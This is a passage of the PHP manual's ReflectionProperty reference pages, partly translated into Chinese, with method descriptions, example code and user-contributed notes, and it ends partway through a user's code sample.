  • ReflectionProperty::getAttributes — Gets Attributes
  • ReflectionProperty::getDeclaringClass — Gets declaring class
  • ReflectionProperty::getDefaultValue — Returns the default value declared for a property
  • ReflectionProperty::getDocComment — Gets the property doc comment
  • ReflectionProperty::getModifiers — Gets the property modifiers
  • ReflectionProperty::getName — Gets property name
  • ReflectionProperty::getType — Gets a property's type
  • ReflectionProperty::getValue — Gets value
  • ReflectionProperty::hasDefaultValue — Checks if property has a default value declared
  • ReflectionProperty::hasType — Checks if property has a type
  • ReflectionProperty::isDefault — Checks if property is a default property
  • ReflectionProperty::isInitialized — Checks whether a property is initialized
  • ReflectionProperty::isPrivate — Checks if property is private
  • ReflectionProperty::isPromoted — Checks if property is promoted
  • ReflectionProperty::isProtected — Checks if property is protected
  • ReflectionProperty::isPublic — Checks if property is public
  • ReflectionProperty::isReadOnly — 检查属性是否为只读
  • ReflectionProperty::isStatic — Checks if property is static
  • ReflectionProperty::setAccessible — Set property accessibility
  • ReflectionProperty::setValue — Set property value
  • ReflectionProperty::__toString — To string

User Contributed Notes

Nanhe Kumar 06-Jan-2014 12:36
<?php
//serialize static properties (class variable)

class Student {

    private $members = array();
    protected $name;
    public static $noOfStudent;

    public function __construct($name = 'Nanhe Kumar') {
        $this->name = $name;
        Student::$noOfStudent++;
    }

    public function __sleep() {
        $vars = get_class_vars(get_class($this));
        foreach ($vars as $key => $val) {
            if (!empty($val))
                $this->members[$key] = $val;
        }
        return array_keys(get_object_vars($this));
    }

    public function __wakeup() {
        foreach ($this->members as $key => $val) {
            $prop = new ReflectionProperty(get_class($this), $key);
            $prop->setValue(get_class($this), $val);
        }
        $this->members = array();
    }

    public function getTotalStudent() {
        return self::$noOfStudent;
    }

}

$so1 = new Student();
$so2 = new Student();
$serialized = serialize($so1);
print_r($serialized); //O:7:"Student":2:{s:16:"Studentmembers";a:1:{s:11:"noOfStudent";i:2;}s:7:"*name";s:11:"Nanhe Kumar";}
$unserialized = unserialize($serialized);
print_r($unserialized); //Student Object ( [members:Student:private] => Array ( ) [name:protected] => Nanhe Kumar )
echo Student::$noOfStudent; //2
?>
rasmus at mindplay dot dk 30-Jul-2010 05:06
I think a more accurate explanation is this:

The Reflection classes are designed to reflect upon the source code of an application, not on any runtime information.

I think you misunderstand the ReflectionProperty constructor in your example above. The fact that it accepts an object as argument is just a convenience feature - you are actually inspecting the class of that object, not the object itself, so it's basically equivalent to:

<?php

// works fine
$Reflection = new ReflectionProperty(get_class($a), 'a');

// throws exception
$Reflection = new ReflectionProperty(get_class($a), 'foo');

?>

Getting the class of the object you're passing in is implied, since inspecting a defined property is the purpose of this class.

In your example, $a->foo is a dynamic member - it is not defined as a member of class, so there is no defining class reference, line number, default value, etc. - which means, there is nothing to reflect upon.

Clearly this very useful library could use some real documentation...


Clone

  • ? ReflectionProperty
  • ReflectionProperty::__construct ?
  • PHP Manual
  • ReflectionProperty
  • Clone

ReflectionProperty::__clone

(PHP 5, PHP 7, PHP 8)

ReflectionProperty::__clone — Clone

说明

private ReflectionProperty::__clone(): void

Clones.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

更新日志

版本 | 说明
8.1.0 | This method is no longer final.

参见

  • ReflectionProperty::export() - Export
  • Object cloning

User Contributed Notes

There are no user contributed notes for this page.


Construct a ReflectionProperty object

  • ? ReflectionProperty::__clone
  • ReflectionProperty::export ?
  • PHP Manual
  • ReflectionProperty
  • Construct a ReflectionProperty object

ReflectionProperty::__construct

(PHP 5, PHP 7, PHP 8)

ReflectionProperty::__construct — Construct a ReflectionProperty object

说明

public ReflectionProperty::__construct(object|string $class, string $property)

参数

class

Either a string containing the name of the class to reflect, or an object.

property

The name of the property being reflected.

错误／异常

Trying to get or set private or protected class property's values will result in an exception being thrown.

示例

Example #1 ReflectionProperty::__construct() example

<?php
class Str
{
public $length = 5;
}

// Create an instance of the ReflectionProperty class
$prop = new ReflectionProperty('Str', 'length');

// Print out basic information
printf(
"===> The%s%s%s%s property '%s' (which was %s)\n" .
" having the modifiers %s\n",
$prop->isPublic() ? ' public' : '',
$prop->isPrivate() ? ' private' : '',
$prop->isProtected() ? ' protected' : '',
$prop->isStatic() ? ' static' : '',
$prop->getName(),
$prop->isDefault() ? 'declared at compile-time' : 'created at run-time',
var_export(Reflection::getModifierNames($prop->getModifiers()), 1)
);

// Create an instance of Str
$obj= new Str();

// Get current value
printf("---> Value is: ");
var_dump($prop->getValue($obj));

// Change value
$prop->setValue($obj, 10);
printf("---> Setting value to 10, new value is: ");
var_dump($prop->getValue($obj));

// Dump object
var_dump($obj);
?>

以上示例的输出类似于：

===> The public property 'length' (which was declared at compile-time)
     having the modifiers array (
  0 => 'public',
)
---> Value is: int(5)
---> Setting value to 10, new value is: int(10)
object(Str)#2 (1) {
  ["length"]=>
  int(10)
}

Example #2 Getting value from private and protected properties using ReflectionProperty class

<?php

class Foo {
public $x = 1;
protected $y = 2;
private $z = 3;
}

$obj = new Foo;

$prop = new ReflectionProperty('Foo', 'y');
$prop->setAccessible(true);
var_dump($prop->getValue($obj)); // int(2)

$prop = new ReflectionProperty('Foo', 'z');
$prop->setAccessible(true);
var_dump($prop->getValue($obj)); // int(2)

?>

以上示例的输出类似于：

int(2)
int(3)

参见

  • ReflectionProperty::getName() - Gets property name
  • Constructors

User Contributed Notes

geoffsmiths at hotmail dot com 05-Jul-2017 12:20
At example #2: the comment // int(2) is stated while the value for the private property is actually 3. (private $z = 3;)

var_dump($prop->getValue($obj)); // This should be int(3)


Export

  • ? ReflectionProperty::__construct
  • ReflectionProperty::getAttributes ?
  • PHP Manual
  • ReflectionProperty
  • Export

ReflectionProperty::export

(PHP 5, PHP 7)

ReflectionProperty::export — Export

Warning

本函数已自 PHP 7.4.0 起弃用，自 PHP 8.0.0 起移除。强烈建议不要依赖本函数。

说明

public static ReflectionProperty::export(mixed $class, string $name, bool $return = ?): string

Exports a reflection.

Warning

本函数还未编写文档，仅有参数列表。

参数

argument

导出的反射。

name

The property name.

return

设为 true 时返回导出结果，设为 false（默认值）则忽略返回。

返回值

参见

  • ReflectionProperty::__toString() - To string

User Contributed Notes

antonfedonyuk at gmail dot com 03-Sep-2020 03:16
Note: export() method is deprecated in PHP 7.4, use __toString() instead - this method return same result.


Gets Attributes

  • ? ReflectionProperty::export
  • ReflectionProperty::getDeclaringClass ?
  • PHP Manual
  • ReflectionProperty
  • Gets Attributes

ReflectionProperty::getAttributes

(PHP 8)

ReflectionProperty::getAttributes — Gets Attributes

说明

public ReflectionProperty::getAttributes(?string $name = null, int $flags = 0): array

Returns all attributes declared on this class property as an array of ReflectionAttribute.

参数

name

过滤结果，匹配此类名，仅包含 ReflectionAttribute 实例的属性。

flags

如果提供了 name，则用于确定如何过滤结果的 flag。

默认值为 0，这将导致返回的结果只属于类 name 的属性。

唯一可用的其他选项是使用 ReflectionAttribute::IS_INSTANCEOF，它将改为使用 instanceof 进行过滤。

返回值

Array of attributes, as a ReflectionAttribute object.

示例

Example #1 Basic usage

<?php
#[Attribute]
class Fruit {
}

#[Attribute]
class Red {
}

class Basket {
#[Fruit]
#[Red]
public string $apple = 'apple';
}

$property = new ReflectionProperty('Basket', 'apple');
$attributes = $property->getAttributes();
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

以上示例会输出：

Array
(
    [0] => Fruit
    [1] => Red
)

Example #2 Filtering results by class name

<?php
#[Attribute]
class Fruit {
}

#[Attribute]
class Red {
}

class Basket {
#[Fruit]
#[Red]
public string $apple = 'apple';
}

$property = new ReflectionProperty('Basket', 'apple');
$attributes = $property->getAttributes('Fruit');
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

以上示例会输出：

Array
(
    [0] => Fruit
)

Example #3 Filtering results by class name, with inheritance

<?php
interface Color {
}

#[Attribute]
class Fruit {
}

#[Attribute]
class Red implements Color {
}

class Basket {
#[Fruit]
#[Red]
public string $apple = 'apple';
}

$property = new ReflectionProperty('Basket', 'apple');
$attributes = $property->getAttributes('Color', ReflectionAttribute::IS_INSTANCEOF);
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

以上示例会输出：

Array
(
    [0] => Red
)

参见

  • ReflectionClass::getAttributes() - 获取所有属性
  • ReflectionClassConstant::getAttributes() - Gets Attributes
  • ReflectionFunctionAbstract::getAttributes() - Gets Attributes
  • ReflectionParameter::getAttributes() - Gets Attributes

User Contributed Notes

There are no user contributed notes for this page.


Gets declaring class

  • ? ReflectionProperty::getAttributes
  • ReflectionProperty::getDefaultValue ?
  • PHP Manual
  • ReflectionProperty
  • Gets declaring class

ReflectionProperty::getDeclaringClass

(PHP 5, PHP 7, PHP 8)

ReflectionProperty::getDeclaringClass — Gets declaring class

说明

public ReflectionProperty::getDeclaringClass(): ReflectionClass

Gets the declaring class.

参数

此函数没有参数。

返回值

A ReflectionClass object.

参见

  • ReflectionProperty::getName() - Gets property name

User Contributed Notes

metamarkers at gmail dot com 17-May-2013 06:30
If you're reflecting an object and get the declaring class of a property that's set but wasn't declared in any class, it returns the class of the instance.

<?php

class X {

}

$x = new X();
$x->foo = 'bar';
$reflection = new ReflectionObject($x);
echo $reflection->getProperty('foo')->getDeclaringClass()->getName(); // X

?>


Returns the default value declared for a property

  • ? ReflectionProperty::getDeclaringClass
  • ReflectionProperty::getDocComment ?
  • PHP Manual
  • ReflectionProperty
  • Returns the default value declared for a property

ReflectionProperty::getDefaultValue

(PHP 8)

ReflectionProperty::getDefaultValue — Returns the default value declared for a property

说明

public ReflectionProperty::getDefaultValue(): mixed

Gets the implicit or explicitly declared default value for a property.

参数

此函数没有参数。

返回值

The default value if the property has any default value (including null). If there is no default value, then null is returned. It is not possible to differentiate between a null default value and an unitialized typed property. Use ReflectionProperty::hasDefaultValue() to detect the difference.

示例

Example #1 ReflectionProperty::getDefaultValue() example

<?php
class Foo {
public $bar = 1;
public ?int $baz;
public int $boing = 0;
public function __construct(public string $bak = "default") { }
}

$ro = new ReflectionClass(Foo::class);
var_dump($ro->getProperty('bar')->getDefaultValue());
var_dump($ro->getProperty('baz')->getDefaultValue());
var_dump($ro->getProperty('boing')->getDefaultValue());
var_dump($ro->getProperty('bak')->getDefaultValue());
?>

以上示例会输出：

int(1)
NULL
int(0)
NULL

参见

  • ReflectionProperty::hasDefaultValue() - Checks if property has a default value declared

User Contributed Notes

rwalker dot php at gmail dot com 14-Apr-2021 01:49
An equivalent for PHP 7:

<?php
$reflectionProperty = new \ReflectionProperty(Foo::class, 'bar');

//PHP 8:
$defaultValue = $reflectionProperty->getDefaultValue();

//PHP 7:
$defaultValue = $reflectionProperty->getDeclaringClass()->getDefaultProperties()['bar'] ?? null;
?>


Gets the property doc comment

  • ? ReflectionProperty::getDefaultValue
  • ReflectionProperty::getModifiers ?
  • PHP Manual
  • ReflectionProperty
  • Gets the property doc comment

ReflectionProperty::getDocComment

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ReflectionProperty::getDocComment — Gets the property doc comment

说明

public ReflectionProperty::getDocComment(): string|false

Gets the doc comment for a property.

参数

此函数没有参数。

返回值

The doc comment if it exists, otherwise false.

示例

Example #1 ReflectionProperty::getDocComment() example

<?php
class Str
{
/**
* @var int The length of the string
*/
public $length = 5;
}

$prop = new ReflectionProperty('Str', 'length');

var_dump($prop->getDocComment());

?>

以上示例的输出类似于：

string(53) "/**
     * @var int  The length of the string
     */"

Example #2 Multiple property declarations

If multiple property declarations are preceeded by a single doc comment, the doc comment refers to the first property only.

<?php
class Foo
{
/** @var string */
public $a, $b;
}
$class = new \ReflectionClass('Foo');
foreach ($class->getProperties() as $property) {
echo $property->getName() . ': ' . var_export($property->getDocComment(), true) . PHP_EOL;
}
?>

以上示例会输出：

a: '/** @var string */'
b: false

参见

  • ReflectionProperty::getModifiers() - Gets the property modifiers
  • ReflectionProperty::getName() - Gets property name
  • ReflectionProperty::getValue() - Gets value

User Contributed Notes

Jim 23-May-2022 02:51
Unfortunately, inherited doc comments are not supported.

<?php

class A {
    /**
     * @var string
     */
    public string $prop = 'A';
}

class B extends A {
    public string $prop = 'B';
}

$prop = new ReflectionProperty('B', 'prop');
var_dump($prop->getDocComment());

?>

results in FALSE


Gets the property modifiers

  • ? ReflectionProperty::getDocComment
  • ReflectionProperty::getName ?
  • PHP Manual
  • ReflectionProperty
  • Gets the property modifiers

ReflectionProperty::getModifiers

(PHP 5, PHP 7, PHP 8)

ReflectionProperty::getModifiers — Gets the property modifiers

说明

public ReflectionProperty::getModifiers(): int

Gets the modifiers.

参数

此函数没有参数。

返回值

A numeric representation of the modifiers. The actual meaning of these modifiers are described under predefined constants.

参见

  • ReflectionProperty::isPrivate() - Checks if property is private
  • Reflection::getModifierNames() - 获取修饰符的名称

User Contributed Notes

There are no user contributed notes for this page.


Gets property name

  • ? ReflectionProperty::getModifiers
  • ReflectionProperty::getType ?
  • PHP Manual
  • ReflectionProperty
  • Gets property name

ReflectionProperty::getName

(PHP 5, PHP 7, PHP 8)

ReflectionProperty::getName — Gets property name

说明

public ReflectionProperty::getName(): string

Gets the properties name.

参数

此函数没有参数。

返回值

The name of the reflected property.

参见

  • ReflectionProperty::getValue() - Gets value

User Contributed Notes

There are no user contributed notes for this page.


Gets a property's type

  • ? ReflectionProperty::getName
  • ReflectionProperty::getValue ?
  • PHP Manual
  • ReflectionProperty
  • Gets a property's type

ReflectionProperty::getType

(PHP 7 >= 7.4.0, PHP 8)

ReflectionProperty::getType — Gets a property's type

说明

public ReflectionProperty::getType(): ?ReflectionType

Gets the associated type of a property.

参数

此函数没有参数。

返回值

Returns a ReflectionType if the property has a type, and null otherwise.

示例

Example #1 ReflectionProperty::getType() example

<?php
class User
{
public string $name;
}

$rp = new ReflectionProperty('User', 'name');
echo $rp->getType()->getName();
?>

以上示例会输出：

string

参见

  • ReflectionProperty::hasType() - Checks if property has a type
  • ReflectionProperty::isInitialized() - Checks whether a property is initialized

User Contributed Notes

andr3medeiros at gmail dot com 06-Aug-2020 10:31
<?php

namespace App\Traits;

use ReflectionClass;
use Illuminate\Support\Str;
use InvalidArgumentException;

trait FieldTypeTrait {

  protected function getType(String $field, ReflectionClass $reflectedClass = null)
  {
    if(is_null($reflectedClass)) {
      $reflectedClass = new ReflectionClass($this);
    }

    if ($reflectedClass->hasProperty($field)) {
      return $this->getFieldType($field, $reflectedClass);
    }

    return null;
  }

  protected function enumValue(String $field) {
    if($this->isEnum($field)) {
      throw new InvalidArgumentException("'$field' is not an enum");
    }

    $type = $this->getType($field);
    $enumClass = $type->name;

    return new $enumClass($this->{$field});
  }

  protected function isEnum(String $field)
  {
    $type = $this->getType($field);

    if(!is_object($type)) {
      return false;
    }

    $className = $type->name;

    $reflectedClass = new ReflectionClass($className);
    $reflectedParent = $reflectedClass->getParentClass();

    return $reflectedParent->getName() == 'MyCLabs\Enum\Enum';
  }

  private function getUseStatements(): array
  {
    $reflectedThis = new ReflectionClass($this);
    $contents = file_get_contents($reflectedThis->getFileName());

    $matches = [];

    preg_match_all("/use ([\w\\\\]+)( as \w+)*/", $contents, $matches);

    $results = [];
    foreach ($matches[1] as $index => $value) {
      $results[] = [
        'namespace' => $value,
        'alias' => isset($matches[2][$index]) ? str_replace(' as ', '', $matches[2][$index]) : null
      ];
    }

    return $results;
  }

  private function getFieldType(String $field, ReflectionClass $reflectedClass)
  {
    $docComment = $reflectedClass->getProperty($field)->getDocComment();
    $type = $this->getFieldTypeByFieldDocComment($docComment);

    if (!is_object($type)) {
      $fromClass = $this->getTypeByClassDocComment($field, $reflectedClass->getDocComment());

      if(is_object($fromClass)) {
          return $fromClass;
      }
    }

    return $type;
  }

  private function getFieldTypeByFieldDocComment(String $docComment)
  {
    $matches = [];

    if (preg_match("/\@var (\w+)(\[\])*/", $docComment, $matches) === 1) {

      if (count($matches) > 0) {
        $type = $matches[1];
        $isArray = isset($matches[2]);
        $fullyQualifiedName = $this->getFullyQualifiedName($type);

        if (class_exists($fullyQualifiedName)) {
          return (object) [
            'name' => $fullyQualifiedName,
            'array' => $isArray
          ];
        }
      }

      return $type;
    }
  }

  private function getTypeByClassDocComment(String $field, String $docComment)
  {
    $matches = [];

    if (preg_match_all("/\@property (\w+) (\\$\w+)/", $docComment, $matches) > 0) {
      $type = null;
      $isArray = false;

      foreach ($matches[2] as $index => $value) {
        if($value == $field) {
          $type = $matches[1][$index];
          $isArray = Str::endsWith($type, '[]');
          $type = str_replace('[]', '', $type);
        }
      }

      if ($type) {
        $fullyQualifiedName = $this->getFullyQualifiedName($type);

        if (class_exists($fullyQualifiedName)) {
          return (object) [
            'name' => $fullyQualifiedName,
            'array' => $isArray
          ];
        }
      }

      return $type;
    }
  }

  private function getFullyQualifiedName($className)
  {
    $useStatements = collect($this->getUseStatements());
    $aliasedStatement = $useStatements->where('alias', $className);

    if ($aliasedStatement) {
      return $aliasedStatement['namespace'];
    }

    $statement = $useStatements->first(function ($statement) use ($className) {
      return Str::endsWith($statement['namespace'], $className);
    });

    if ($statement) {
      return $statement['namespace'];
    }

    return null;
  }
}
email at dronov dot vg 03-Jun-2020 02:46
class User
{
    /**
     * @var string
     */
    public $name;
}

function getTypeNameFromAnnotation(string $className, string $propertyName): ?string
{
    $rp = new \ReflectionProperty($className, $propertyName);
    if (preg_match('/@var\s+([^\s]+)/', $rp->getDocComment(), $matches)) {
        return $matches[1];
    }

    return null;
}

echo getTypeNameFromAnnotation('User', 'name');

// string


Gets value

  • ? ReflectionProperty::getType
  • ReflectionProperty::hasDefaultValue ?
  • PHP Manual
  • ReflectionProperty
  • Gets value

ReflectionProperty::getValue

(PHP 5, PHP 7, PHP 8)

ReflectionProperty::getValue — Gets value

说明

public ReflectionProperty::getValue(?object $object = null): mixed

Gets the property's value.

参数

object

If the property is non-static an object must be provided to fetch the property from. If you want to fetch the default property without providing an object use ReflectionClass::getDefaultProperties() instead.

返回值

The current value of the property.

更新日志

版本 | 说明
8.1.0 | Private and protected properties can be accessed by ReflectionProperty::getValue() right away. Previously, they needed to be made accessible by calling ReflectionProperty::setAccessible(); otherwise a ReflectionException was thrown.
8.0.0 | object is nullable now.

示例

Example #1 ReflectionProperty::getValue() example

<?php
class Foo {
public static $staticProperty = 'foobar';

public $property = 'barfoo';
protected $privateProperty = 'foofoo';
}

$reflectionClass = new ReflectionClass('Foo');

var_dump($reflectionClass->getProperty('staticProperty')->getValue());
var_dump($reflectionClass->getProperty('property')->getValue(new Foo));

$reflectionProperty = $reflectionClass->getProperty('privateProperty');
$reflectionProperty->setAccessible(true); // only required prior to PHP 8.1.0
var_dump($reflectionProperty->getValue(new Foo));
?>

以上示例会输出：

string(6) "foobar"
string(6) "barfoo"
string(6) "foofoo"

参见

  • ReflectionProperty::setValue() - Set property value
  • ReflectionProperty::setAccessible() - Set property accessibility
  • ReflectionClass::getDefaultProperties() - 获取默认属性
  • ReflectionClass::getStaticPropertyValue() - 获取静态（static）属性的值

User Contributed Notes

sergiy dot sokolenko at gmail dot com 28-Jun-2010 03:48
To allow protected and private properties to be accessed, you should use
ReflectionProperty::setAccessible(bool $accessible):

<?php
/** Class Foo with protected and private members */
class Foo {
    protected $bar = 'barrr!';
    private $baz = 'bazzz!';
}

$reflFoo = new ReflectionClass('Foo');
$reflBar = $reflFoo->getProperty('bar');
$reflBaz = $reflFoo->getProperty('baz');

// Set private and protected members accessible for getValue/setValue
$reflBar->setAccessible(true);
$reflBaz->setAccessible(true);

$foo = new Foo();
echo $reflBar->getValue($foo); // will output "barrr!"
echo $reflBaz->getValue($foo); // will output "bazzz!"

// You can also setValue
$reflBar->setValue($foo, "new value");
echo $reflBar->getValue($foo); // will output "new value"
?>


Checks if property has a default value declared

  • ? ReflectionProperty::getValue
  • ReflectionProperty::hasType ?
  • PHP Manual
  • ReflectionProperty
  • Checks if property has a default value declared

ReflectionProperty::hasDefaultValue

(PHP 8)

ReflectionProperty::hasDefaultValue — Checks if property has a default value declared

说明

public ReflectionProperty::hasDefaultValue(): bool

Checks whether the property was declared with a default value, including an implicit null default value. Only returns false for typed properties without default value (or dynamic properties).

参数

此函数没有参数。

返回值

If the property has any default value (including null) true is returned; if the property is typed without a default value declared or is a dynamic property, false is returned.

示例

Example #1 ReflectionProperty::hasDefaultValue() example

<?php
class Foo {
public $bar;
public ?int $baz;
public ?int $foo = null;
public int $boing;

public function __construct()
{
$this->ping = '';
}
}

$ro = new ReflectionObject(new Foo());
var_dump($ro->getProperty('bar')->hasDefaultValue());
var_dump($ro->getProperty('baz')->hasDefaultValue());
var_dump($ro->getProperty('foo')->hasDefaultValue());
var_dump($ro->getProperty('boing')->hasDefaultValue());
var_dump($ro->getProperty('ping')->hasDefaultValue()); // Dynamic property
var_dump($ro->getProperty('pong')->hasDefaultValue()); // Not defined property
?>

以上示例会输出：

bool(true)
bool(false)
bool(true)
bool(false)
bool(false)

Fatal error: Uncaught ReflectionException: Property Foo::$pong does not exist in example.php

参见

  • ReflectionProperty::getDefaultValue() - Returns the default value declared for a property

User Contributed Notes

There are no user contributed notes for this page.


Checks if property has a type

  • ? ReflectionProperty::hasDefaultValue
  • ReflectionProperty::isDefault ?
  • PHP Manual
  • ReflectionProperty
  • Checks if property has a type

ReflectionProperty::hasType

(PHP 7 >= 7.4.0, PHP 8)

ReflectionProperty::hasType — Checks if property has a type

说明

public ReflectionProperty::hasType(): bool

Checks if the property has a type associated with it.

参数

此函数没有参数。

返回值

true if a type is specified, false otherwise.

示例

Example #1 ReflectionProperty::hasType() example

<?php
class User
{
public string $name;
}

$rp = new ReflectionProperty('User', 'name');
var_dump($rp->hasType());
?>

以上示例会输出：

bool(true)

参见

  • ReflectionProperty::getType() - Gets a property's type
  • ReflectionProperty::isInitialized() - Checks whether a property is initialized

User Contributed Notes

There are no user contributed notes for this page.


Checks if property is a default property

  • ? ReflectionProperty::hasType
  • ReflectionProperty::isInitialized ?
  • PHP Manual
  • ReflectionProperty
  • Checks if property is a default property

ReflectionProperty::isDefault

(PHP 5, PHP 7, PHP 8)

ReflectionProperty::isDefault — Checks if property is a default property

说明

public ReflectionProperty::isDefault(): bool

Checks whether the property was declared at compile-time, or whether the property was dynamically declared at run-time.

参数

此函数没有参数。

返回值

true if the property was declared at compile-time, or false if it was created at run-time.

示例

Example #1 ReflectionProperty::isDefault() example

<?php
class Foo {
public $bar;
}

$o = new Foo();
$o->bar = 42;
$o->baz = 42;

$ro = new ReflectionObject($o);
var_dump($ro->getProperty('bar')->isDefault());
var_dump($ro->getProperty('baz')->isDefault());
?>

以上示例会输出：

bool(true)
bool(false)

参见

  • ReflectionProperty::getValue() - Gets value

User Contributed Notes

There are no user contributed notes for this page.


Checks whether a property is initialized

  • ? ReflectionProperty::isDefault
  • ReflectionProperty::isPrivate ?
  • PHP Manual
  • ReflectionProperty
  • Checks whether a property is initialized

ReflectionProperty::isInitialized

(PHP 7 >= 7.4.0, PHP 8)

ReflectionProperty::isInitialized — Checks whether a property is initialized

说明

public ReflectionProperty::isInitialized(?object $object = null): bool

Checks whether a property is initialized.

参数

object

If the property is non-static an object must be provided to fetch the property from.

返回值

Returns false for typed properties prior to initialization, and for properties that have been explicitly unset(). For all other properties true will be returned.

错误／异常

Throws a ReflectionException if the property is inaccessible. You can make a protected or private property accessible using ReflectionProperty::setAccessible().

更新日志

版本 | 说明
8.0.0 | object is nullable now.

示例

Example #1 ReflectionProperty::isInitialized() example

<?php
class User
{
public string $name;
}

$rp = new ReflectionProperty('User', 'name');
$user = new User;
var_dump($rp->isInitialized($user));
$user->name = 'Nikita';
var_dump($rp->isInitialized($user));
?>

以上示例会输出：

bool(false)
bool(true)

参见

  • ReflectionProperty::hasType() - Checks if property has a type

User Contributed Notes

There are no user contributed notes for this page.


Checks if property is private

  • ? ReflectionProperty::isInitialized
  • ReflectionProperty::isPromoted ?
  • PHP Manual
  • ReflectionProperty
  • Checks if property is private

ReflectionProperty::isPrivate

(PHP 5, PHP 7, PHP 8)

ReflectionProperty::isPrivate — Checks if property is private

说明

public ReflectionProperty::isPrivate(): bool

Checks whether the property is private.

参数

此函数没有参数。

返回值

true if the property is private, false otherwise.

参见

  • ReflectionProperty::isPublic() - Checks if property is public
  • ReflectionProperty::isProtected() - Checks if property is protected
  • ReflectionProperty::isReadOnly() - 检查属性是否为只读
  • ReflectionProperty::isStatic() - Checks if property is static

User Contributed Notes

There are no user contributed notes for this page.


Checks if property is promoted

  • ? ReflectionProperty::isPrivate
  • ReflectionProperty::isProtected ?
  • PHP Manual
  • ReflectionProperty
  • Checks if property is promoted

ReflectionProperty::isPromoted

(PHP 8)

ReflectionProperty::isPromoted — Checks if property is promoted

说明

public ReflectionProperty::isPromoted(): bool

Checks whether the property is promoted

参数

此函数没有参数。

返回值

true if the property is promoted, false otherwise.

示例

Example #1 ReflectionProperty::isPromoted() example

<?php
class Foo {
public $baz;

public function __construct(public $bar) {}
}

$o = new Foo(42);
$o->baz = 42;

$ro = new ReflectionObject($o);
var_dump($ro->getProperty('bar')->isPromoted());
var_dump($ro->getProperty('baz')->isPromoted());
?>

以上示例会输出：

bool(true)
bool(false)

参见

  • ReflectionProperty::isDefault() - Checks if property is a default property
  • ReflectionProperty::isInitialized() - Checks whether a property is initialized
  • ReflectionProperty::getValue() - Gets value

User Contributed Notes

There are no user contributed notes for this page.


Checks if property is protected

  • ? ReflectionProperty::isPromoted
  • ReflectionProperty::isPublic ?
  • PHP Manual
  • ReflectionProperty
  • Checks if property is protected

ReflectionProperty::isProtected

(PHP 5, PHP 7, PHP 8)

ReflectionProperty::isProtected — Checks if property is protected

说明

public ReflectionProperty::isProtected(): bool

Checks whether the property is protected.

参数

此函数没有参数。

返回值

true if the property is protected, false otherwise.

参见

  • ReflectionProperty::isPublic() - Checks if property is public
  • ReflectionProperty::isPrivate() - Checks if property is private
  • ReflectionProperty::isReadOnly() - 检查属性是否为只读
  • ReflectionProperty::isStatic() - Checks if property is static

User Contributed Notes

Ievgen Iefimenko the_boss at bk dot ru 09-Jun-2012 09:44
<?php

/**
* Return 1 if property is public,
* else return void
*/

class Classname{
    private $variable;
}

$obj = new Classname;
$rp = new ReflectionProperty($obj,'variable');
echo $rp->isPrivate();
?>


Checks if property is public

  • ? ReflectionProperty::isProtected
  • ReflectionProperty::isReadOnly ?
  • PHP Manual
  • ReflectionProperty
  • Checks if property is public

ReflectionProperty::isPublic

(PHP 5, PHP 7, PHP 8)

ReflectionProperty::isPublic — Checks if property is public

说明

public ReflectionProperty::isPublic(): bool

Checks whether the property is public.

参数

此函数没有参数。

返回值

true if the property is public, false otherwise.

参见

  • ReflectionProperty::isProtected() - Checks if property is protected
  • ReflectionProperty::isPrivate() - Checks if property is private
  • ReflectionProperty::isReadOnly() - 检查属性是否为只读
  • ReflectionProperty::isStatic() - Checks if property is static

User Contributed Notes

There are no user contributed notes for this page.


检查属性是否为只读

  • ? ReflectionProperty::isPublic
  • ReflectionProperty::isStatic ?
  • PHP Manual
  • ReflectionProperty
  • 检查属性是否为只读

ReflectionProperty::isReadOnly

(PHP 8 >= 8.1.0)

ReflectionProperty::isReadOnly — 检查属性是否为只读

说明

public ReflectionProperty::isReadOnly(): bool

检查属性是否为只读。

参数

此函数没有参数。

返回值

如果属性是只读的，则返回 true，否则为 false。

参见

  • ReflectionProperty::isPublic() - Checks if property is public
  • ReflectionProperty::isProtected() - Checks if property is protected
  • ReflectionProperty::isPrivate() - Checks if property is private
  • ReflectionProperty::isStatic() - Checks if property is static

User Contributed Notes

There are no user contributed notes for this page.


Checks if property is static

  • ? ReflectionProperty::isReadOnly
  • ReflectionProperty::setAccessible ?
  • PHP Manual
  • ReflectionProperty
  • Checks if property is static

ReflectionProperty::isStatic

(PHP 5, PHP 7, PHP 8)

ReflectionProperty::isStatic — Checks if property is static

说明

public ReflectionProperty::isStatic(): bool

Checks whether the property is static.

参数

此函数没有参数。

返回值

true if the property is static, false otherwise.

参见

  • ReflectionProperty::isPublic() - Checks if property is public
  • ReflectionProperty::isProtected() - Checks if property is protected
  • ReflectionProperty::isPrivate() - Checks if property is private
  • ReflectionProperty::isReadOnly() - 检查属性是否为只读

User Contributed Notes

There are no user contributed notes for this page.


Set property accessibility

  • ? ReflectionProperty::isStatic
  • ReflectionProperty::setValue ?
  • PHP Manual
  • ReflectionProperty
  • Set property accessibility

ReflectionProperty::setAccessible

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ReflectionProperty::setAccessible — Set property accessibility

说明

public ReflectionProperty::setAccessible(bool $accessible): void

Enables access to a protected or private property via the ReflectionProperty::getValue() and ReflectionProperty::setValue() methods.

Note: As of PHP 8.1.0, calling this method has no effect; all properties are accessible by default.

参数

accessible

true to allow accessibility, or false.

返回值

没有返回值。

示例

Example #1 Simple Class definition

<?php
class MyClass
{
private $foo = 'bar';
}

$property = new ReflectionProperty("MyClass", "foo");
$property->setAccessible(true);

$obj = new MyClass();
echo $property->getValue($obj);
echo $obj->foo;
?>

以上示例的输出类似于：

bar
Fatal error: Uncaught Error: Cannot access private property MyClass::$foo in /in/WJqTv:12

参见

  • ReflectionProperty::isPrivate() - Checks if property is private
  • ReflectionProperty::isProtected() - Checks if property is protected

User Contributed Notes

matthieu at mnapoli dot fr 19-Oct-2012 08:50
Note that the property will only become accessible using the ReflectionProperty class. The property is still private or protected in the class instances.

<?php
class MyClass {
     private $myProperty = true;
}

$class = new ReflectionClass("MyClass");
$property = $class->getProperty("myProperty");
$property->setAccessible(true);

$obj = new MyClass();
echo $property->getValue($obj); // Works
echo $obj->myProperty; // Doesn't work (error)
?>
Yzmir Ramirez 15-Oct-2010 05:31
Have you tried:

<?php

echo "PHP Version: ".phpversion()."\n";

class Foo
{
    private   $bar  = "private";
    protected $bar2 = "protected";
    public    $bar3 = "public";
}

$obj = new Foo;

